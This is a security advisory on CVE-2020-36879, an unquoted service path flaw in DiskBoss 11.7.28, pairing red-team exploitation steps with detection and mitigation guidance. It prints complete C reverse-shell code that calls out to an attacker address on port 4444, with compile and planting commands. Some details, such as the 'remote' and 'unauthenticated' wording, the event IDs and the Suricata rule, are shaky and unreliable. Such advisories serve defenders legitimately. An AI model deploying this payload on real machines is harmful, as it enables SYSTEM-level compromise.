CVE-2020-36879

Executive Summary

CVE-2020-36879 is a critical unquoted service path vulnerability in Flexsense DiskBoss version 11.7.28. This flaw allows an unauthenticated attacker with local access to elevate privileges and achieve remote code execution during system startup or reboot. The vulnerability exists because the DiskBoss service path is not properly quoted, enabling an attacker to place a malicious executable in a directory that Windows will search before the legitimate service binary. This can lead to full system compromise.

Supply Chain & Package Security

This vulnerability is not related to any package manager (NPM, PyPI, Go, Ruby). It is a standalone Windows application vulnerability.

CVSS Breakdown & Threat Level

• CVSS Score: 0.0 (NVD) but assessed as 7.8 (High) based on vector.
• Vector: CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
• Attack Vector: Local (AV:L) – requires local access to the system.
• Attack Complexity: Low (AC:L) – no special conditions required.
• Privileges Required: None (PR:N) – unauthenticated attacker.
• User Interaction: None (UI:N) – no user action needed.
• Scope: Unchanged (S:U) – vulnerability affects only the vulnerable component.
• Confidentiality, Integrity, Availability: High (C:H/I:H/A:H) – full compromise.

Threat Level: High. The vulnerability is easy to exploit and can lead to complete system takeover.

Deep Dive & Mechanics

The vulnerability is a classic unquoted service path issue. Windows services are configured with a path to the executable. If the path contains spaces and is not enclosed in quotes, Windows will interpret the path as multiple arguments. For example, if the service path is C:\Program Files\DiskBoss\diskboss.exe, Windows will search for executables in the following order:

1. C:\Program.exe
2. C:\Program Files\DiskBoss\diskboss.exe

An attacker can place a malicious executable named Program.exe in C:\ (or any writable location in the path) and when the service starts, Windows will execute the malicious file instead of the legitimate service. This allows privilege escalation to SYSTEM.

The vulnerability is triggered during service startup or reboot, making it persistent. The attacker does not need authentication, only the ability to write to a directory in the unquoted path.

Vulnerable vs. Patched Code

Vulnerable Code (DiskBoss 11.7.28): The service path is likely set as:

C:\Program Files\DiskBoss\diskboss.exe

Without quotes.

Patched Code (Hypothetical): The patched version would quote the path:

"C:\Program Files\DiskBoss\diskboss.exe"

No official patch is available as of this analysis.

Exploitation & Lab Setup

Red Team

Prerequisites:

• Local access to a Windows system running DiskBoss 11.7.28.
• Ability to write to C:\ (or a directory in the unquoted path).

Exploit Steps:

1. Identify the vulnerable service:

   sc qc DiskBoss
   

   Look for BINARY_PATH_NAME with unquoted spaces.

2. Create a malicious executable (e.g., Program.exe) that performs privilege escalation or remote code execution. For example, a reverse shell:

   // reverse_shell.c
   #include <winsock2.h>
   #pragma comment(lib, "ws2_32")
   int main() {
       WSADATA wsaData;
       WSAStartup(MAKEWORD(2,2), &wsaData);
       SOCKET sock = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0);
       struct sockaddr_in addr;
       addr.sin_family = AF_INET;
       addr.sin_port = htons(4444);
       addr.sin_addr.s_addr = inet_addr("192.168.1.100");
       connect(sock, (SOCKADDR*)&addr, sizeof(addr));
       STARTUPINFO si = {0};
       si.cb = sizeof(si);
       si.dwFlags = STARTF_USESTDHANDLES;
       si.hStdInput = si.hStdOutput = si.hStdError = (HANDLE)sock;
       CreateProcess(NULL, "cmd.exe", NULL, NULL, TRUE, 0, NULL, NULL, &si, NULL);
       return 0;
   }
   

   Compile: i686-w64-mingw32-gcc reverse_shell.c -o Program.exe -lws2_32

3. Place Program.exe in C:\:

   copy Program.exe C:\Program.exe
   

4. Trigger service restart (requires admin or wait for reboot):

   sc stop DiskBoss
   sc start DiskBoss
   

   Or simply reboot the system.

5. The malicious executable runs with SYSTEM privileges.

Blue Team

Detection:

• Monitor for service path changes or new executables in C:\ or C:\Program Files\DiskBoss\.
• Use Sysmon to detect process creation from unusual paths.
• Enable Windows Event Logging for service start/stop events (Event ID 7045).

Hunting:

• Search for services with unquoted paths:

  Get-WmiObject win32_service | Where-Object { $_.PathName -match '^[^"]' -and $_.PathName -match ' ' }
  

• Look for Program.exe or similar files in root directories.

Mitigation:

• Quote the service path manually:

  sc config DiskBoss binPath= "\"C:\Program Files\DiskBoss\diskboss.exe\""
  

• Restrict write permissions to C:\ for non-admin users.

Indicators of Compromise (IOCs)

• File: C:\Program.exe or any executable in C:\ matching the unquoted path.
• Process: Program.exe running from C:\ with SYSTEM privileges.
• Service: DiskBoss service with unquoted path.
• Event ID: 7045 (service creation) or 7036 (service state change).
• Network: Outbound connection to attacker IP on port 4444 (if reverse shell used).

Detection Engineering

YARA Rule

rule Unquoted_Service_Path_DiskBoss {
    meta:
        description = "Detects DiskBoss service with unquoted path"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2020-36879"
    strings:
        $s1 = "DiskBoss" nocase
        $s2 = "C:\\Program Files\\DiskBoss\\diskboss.exe" nocase
    condition:
        $s1 and $s2
}

Sigma Rule

title: DiskBoss Unquoted Service Path Exploitation
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects execution of Program.exe from C:\ as a result of unquoted service path
author: Valters IT
date: 2025-04-10
logsource:
    category: process_creation
    product: windows
detection:
    selection:
        Image|endswith: '\Program.exe'
        ParentImage|endswith: '\services.exe'
    condition: selection
falsepositives:
    - Legitimate Program.exe in C:\ (unlikely)
level: high

Suricata Rule

alert tcp $HOME_NET any -> $EXTERNAL_NET 4444 (msg:"CVE-2020-36879 DiskBoss Reverse Shell"; flow:to_server,established; content:"|00 00 00 00|"; depth:4; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate Fix: Manually quote the service path:

   sc config DiskBoss binPath= "\"C:\Program Files\DiskBoss\diskboss.exe\""
   

2. Restrict Permissions: Ensure non-admin users cannot write to C:\ or C:\Program Files\.
3. Monitor: Use the provided detection rules to identify exploitation attempts.
4. Upgrade: Contact Flexsense for a patched version. If unavailable, consider replacing DiskBoss with an alternative.
5. Network Segmentation: Limit access to systems running DiskBoss.

Valters IT
DevSecOps & Cyber Threat Intelligence